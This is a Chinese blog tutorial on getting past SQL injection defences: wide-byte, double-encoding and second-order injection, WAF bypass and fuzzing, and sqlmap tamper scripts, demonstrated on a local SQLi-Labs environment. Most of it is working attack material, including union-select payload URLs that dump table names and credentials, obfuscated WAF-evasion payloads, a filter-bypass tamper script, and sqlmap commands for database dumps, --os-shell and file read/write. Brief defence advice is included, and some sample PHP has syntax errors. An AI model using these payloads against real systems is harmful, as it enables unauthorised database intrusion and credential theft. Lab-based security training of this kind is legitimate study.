抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

本文学习如何绕过开发者对SQL注入设置的防御机制,主要是通过宽字节、二次编码、二次注入、绕过WAF等方法来突破防御机制。从每种方法的原理、方法讲解,到利用Sqli-Labs模拟环境来实战。

一、宽字节注入

1.1宽字节注入原理

宽字节:两个字节 例如 GBK、GB2312。(uft-8不是宽字节)

安全防御者为了应对SQL注入,因此在*前面加入\使其转义。

image-20200325124335984

1.2宽字节注入方法

在注入点后键入%df,然后按照正常的注入流程开始注入。

黑盒测试:

  1. 在可能的注入点后键入%df,之后进行注入测试

白盒测试:

  1. 查看MySQL编码是否为GBK
  2. 是否使用preg_replace()把单引号替换成\'
  3. 是否使用addslashes进行转义
  4. 是否使用mysql_real_escape_string进行转义

1.3实战 SQLi-Labs Less-32 白盒测试第二点

查看Less-32源码

image-20200326122514598

image-20200326122617786

测试注入点

Payload: http://127.0.0.1:8999/Less-32/?id=1%df'

image-20200326122952092

判断数据表列数

Payload: http://127.0.0.1:8999/Less-32/?id=1%df' order by 4–+

image-20200326123310557

union注入测试

Payload: http://127.0.0.1:8999/Less-32/?id=-1%df' union select 2,3,4–+

image-20200326123501410

查询数据库SECURITY中的数据表

Payload: http://127.0.0.1:8999/Less-32/?id=-1%df' union select 2,(select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),4–+

image-20200326125253901

1.4实战 SQLi-Labs Less-33 白盒测试第三点

查看源代码

image-20200326130236841

addslashes() 函数返回在预定义的字符('"\和NULL)前添加反斜杠的字符串。

1.5 宽字节防御

  1. 使用UTF-8,避免宽字节注入(韩文、日语都是宽字节,都可能存在宽字节注入)
  2. mysql_real_escape_string(设置mysql_set_charset(‘gbk’,$conn);)
  3. 设置MySQL的连接参数(character_set_client=binary)image-20200326153402997

二、二次编码注入

2.1二次编码注入原理

urldecode()与PHP本身处理编码时,两者配合失误,可构造数据消灭\

image-20200326154334059

2.2二次编码注入方法

在注入点后键入%2527,然后按照正常的注入流程开始注入。

黑盒测试:

  1. 在可能的注入点后键入%2527,之后进行注入测试

白盒测试:

  1. 是否使用urldecode()函数
  2. urldecode()函数是否在转义方法之后使用

2.3实战 SQLi-Labs Less-0

SQLi-Labs内无此类型的题目,因此自行构造Less-0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=mysql_real_escape_string($_GET['id']);
//echo "The filtered request is :" .$id . "<br>";
echo 'mysql_real_escape_string:'.$id."<br />";
//logging the connection parameters to a file for analysis.
$id = urldecode($id);
echo 'urldecode:'.$id.'<br />';
// connectivity

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
echo '<font color= "#00FF00">';
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>

正常输入–>不能够进行注入

Payload: http:127.0.0.1:8999/Less-0/?id=1’

image-20200326155324324

构造二次编码环境

Payload: http:127.0.0.1:8999/Less-0/?id=1%2527

image-20200326155429170

判断数据表列数

Payload: http:127.0.0.1:8999/Less-0/?id=1%2527 order by 4–+

image-20200326155838024

union注入测试

Payload: http:127.0.0.1:8999/Less-0/?id=-1%2527 union select 1,2,3–+

image-20200326155951455

查询数据库SECURITY中的数据表

Payload: http:127.0.0.1:8999/Less-0/?id=-1%2527 union select 2,(select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),4–+

image-20200326160058056

三、二次注入

3.1二次注入原理

第一步:插入恶意数据

在第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,在写入数据库的时候还保留了原来的数据,但是数据本身包含恶意内容。

第二步:引用恶意数据

在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下次需要进行查询的时候,直接从数据库中取出恶意数据,没有进行进一步的检验和处理,这就造成了SQL的二次注入。

image-20200326160945233

3.2二次注入方法

3.3实战 SQLi-Labs Less-24

插入新用户(账号为admin'# 密码为123

image-20200326193331683

分析logged-in.php和pass_change.php源代码

image-20200326193612478

修改刚才创建的admin'#的密码

image-20200326193839335

可以发现并不是修改了账号为admin '#的密码,而是修改了账号为admin的密码。这其中就存在着二次注入漏洞。

image-20200326193932012

分析漏洞

查看pass_change.php源代码,并将上述账号密码带入。

image-20200326194221936

则程序最终会执行: $sql = "UPDATE users SET PASSWORD='1' where username='admin'#' and password='$curr_pass' ";#执行单条语句注释)

根据#注释之后,程序会执行 $sql = "UPDATE users SET PASSWORD='1' where username='admin'";

3.4实战 SQLi-Labs Less-24 (改编)

设置数据表users中的username字段为VARCHAR(255)

使得username的长度为0-255之间

ALTER TABLE users CHANGE username username VARCHAR(255) CHARACTER SET gbk COLLATE gbk_chinese_ci NOT NULL;

创建userlist.php文件中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#php部分代码
<?php
include("../sql-connections/sql-connect.php");
error_reporting(0);
$sql="SELECT * FROM users ORDER BY id asc";
$result= mysql_query($sql);
$num = mysql_num_rows($result);
for ($j = 0; $j = $num ; ++j)(
$row = mysql_fetch_array($result);
$username = $row[1];
$sql_detail = "SELECT * FROM users where username='$username'";
$result_detail = mysql_query($sql_detail);
$num_detail = mysql_num_rows($result_detail);
for ($i = 0 ; $i = $num_detail ; ++$i))(
$row_detail = mysql_fetch_array($result_detail);
echo <<<END
<table border="1" style="table-layout;fixed;" width="1000">
<tr>
<th>$row_detail[1]</th>
<th>$row_detail[2]</th>
</tr>
</table>
END;
)
)
>

创建账号为1’ union select 1,user(),3# 密码随意

image-20200326200120285

查看数据库users内容,可以看到1’ union select 1,user()被SQL执行器执行了。

image-20200326200500545

分析漏洞

查看userlist.php源代码,并将上述账号密码带入。

$sql_detail="SELECT * FROM users where username='$username'"

带入username=1’ union select 1,user(),3#

$sql_detail="SELECT * FROM users where username='1' union select 1,user(),3#'"

由于前半句查询结果为空,因此执行union,返回user()。

利用漏洞查询信息

设置账号为1’ union select 1,(select concat_ws(0x7e,username,password) from security.users limit 0,1),3#

image-20200326202008221

3.5 二次注入防御

对外部提交的数据,需要更加谨慎的对待。

程序内部的数据调用,也要严格的进行检查,一旦不小心,攻击者就能将特定SQL语句带入到查询当中。

四、WAF(Web Application Firewell)绕过原理

  1. 熟练掌握MySQL函数和语法使用方法
  2. 深入了解中间件运行处理机制
  3. 了解WAF防护原理及方法

4.1 WAF绕过原理-白盒绕过

image-20200326224707795

分析代码:使用了blacklist()函数过滤orANDi指的是忽略大小写

绕过限制:1. 大小写变形OrORoR 2. 等价替换 and–>&&以及or–>|| 3. 诸如OorR之类绕过。

4.2 WAF绕过原理-黑盒绕过

  1. 架构层绕过WAF

    1. 寻找源站->针对云WAF
    2. 利用同网段->绕过WAF防护区域
    3. 利用边界漏洞->绕过WAF防护区域 ssrf漏洞
  2. 资源限制角度绕过WAF

    1. POST大BODY(发送很大的数据包)
  3. 协议层面绕过WAF

    1. 协议未覆盖绕过WAF(请求方式变换 GET->POST;Content-Type变换:application/x-www-form-urlencoded->multipart/form-data;.)
    2. 参数污染index.php?id=1&id=2(SQL注入)
  4. 规则层面的绕过(%25->%image-20200326231914929

4.3 Fuzz绕过WAF

以注释绕过为例子,开始Fuzz

注释符绕过 union/*something*/select

  • 先测试最基本的: union/**/select
  • 再测试中间引入特殊字: union/*aaaa%01bbs*/select
  • 最后测试注释长度: union/*aaaaaaaaaaaaaaaaaaaaaaa*/select

构造Payload:http://127.0.0.1:8999/Less-1/?id=1' and ‘1’=’1

image-20200326233720169

通过BurpSuite的Intruder暴力破解WAF规则

将空格 替换为 /*%!%2f*/ 以及特殊函数 xx() -> xx/*%!%2f*/()

示例Payload: http:127.0.0.1:8999/Less-0/?id='/*%!%2f*/union/*%!%2f*/select/*%!%2f*/2,(select/*%!%2f*/table_name/*%!%2f*/from/*%!%2f*/information_schema.tables/*%!%2f*/where/*%!%2f*/table_schema=0x7365637572697479/*%!%2f*/limit/*%!%2f*/0,1),4--+

五、SqlMapWaf绕过脚本编写

5.1 SQLMAP介绍

SQLMAP下载地址:http://sqlmap.org/

查看SQLMAP是否安装 python3 sqlmap.py -h

image-20200327153430204

5.2 SQLMAP常用注入测试语句

测试1: python3 sqlmap.py -u "http://127.0.0.1:8999/Less-1/?id=1" 查询SQL注入点

image-20200328133222788

测试2: python3 sqlmap.py -u "http://127.0.0.1:8999/Less-1/?id=1" --current-db 查询当前数据库

image-20200328133410973

测试3: python3 sqlmap.py -u "http://127.0.0.1:8999/Less-1/?id=1" --current-user 查询当前用户

image-20200328133445662

测试4: python3 sqlmap.py -u "http://127.0.0.1:8999/Less-1/?id=1" --dbs 该测试服务器所有数据库的名称

image-20200328133829093

测试5: python3 sqlmap.py -u "http://127.0.0.1:8999/Less-1/?id=1" -D security --tables

image-20200328134014554

测试6: python3 sqlmap.py -u "http://127.0.0.1:8999/Less-1/?id=1" -D security -T users --columns

image-20200328133958944

测试7: python3 sqlmap.py -u "http://127.0.0.1:8999/Less-1/?id=1" -D security -T users -C username,passsword --dump

image-20200328134038126

测试8: python3 sqlmap.py -u "http://127.0.0.1:8999/Less-1/?id=1" --os-shell

测试9: python3 sqlmap.py -u "http://127.0.0.1:8999/Less-1/?id=1" --sql-shell 交互式SQL界面

测试10: python3 sqlmap.py -u "http://127.0.0.1:8999/Less-1/?id=1" --file-read=‘var/www/a.php’

测试11: python3 sqlmap.py -u "http://127.0.0.1:8999/Less-1/?id=1" --file-write 本地文件 --file-dest 目标文件

5.3 SQLMAP Tamper 脚本介绍

SQLMAP目录下Tamper文件夹中的一些脚本:

image-20200328134522199

image-20200328134713736

5.4 SQLMAP Tamper 脚本编写

base64encode.py为例子查阅如何编写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# 头部声明
#!/usr/bin/env python

# 注释声明
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

# 调用可能所需的第三方库和SQLMAP内部调用
from lib.core.convert import encodeBase64
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
pass

# 改变Payload的代码函数
def tamper(payload, **kwargs):
"""
Base64-encodes all characters in a given payload

>>> tamper("1' AND SLEEP(5)#")
'MScgQU5EIFNMRUVQKDUpIw=='
"""

return encodeBase64(payload, binary=False) if payload else payload

编写脚本:sqli-lab28.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.convert import encodeBase64
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
pass

def tamper(payload, **kwargs):
"""
Bypass SQLi-Labs/Less-28
"""
if payload:
payload = payload.replace('union select','union all select').replace(' ','%0a')
return payload

5.5实战 SQLi-Labs Less-28(分析Fuzz方法)

查看源代码,可以发现blacklist()函数将/ * - # space {union +select} 过滤。

image-20200328165146098

调用5.4编写的sqli-labs.py脚本

SQLMAP语句:python3 sqlmap -u "http://127.0.0.1:8999/Less-28/?id=1" --flush-session --tamper=sqli-labs28.py

评论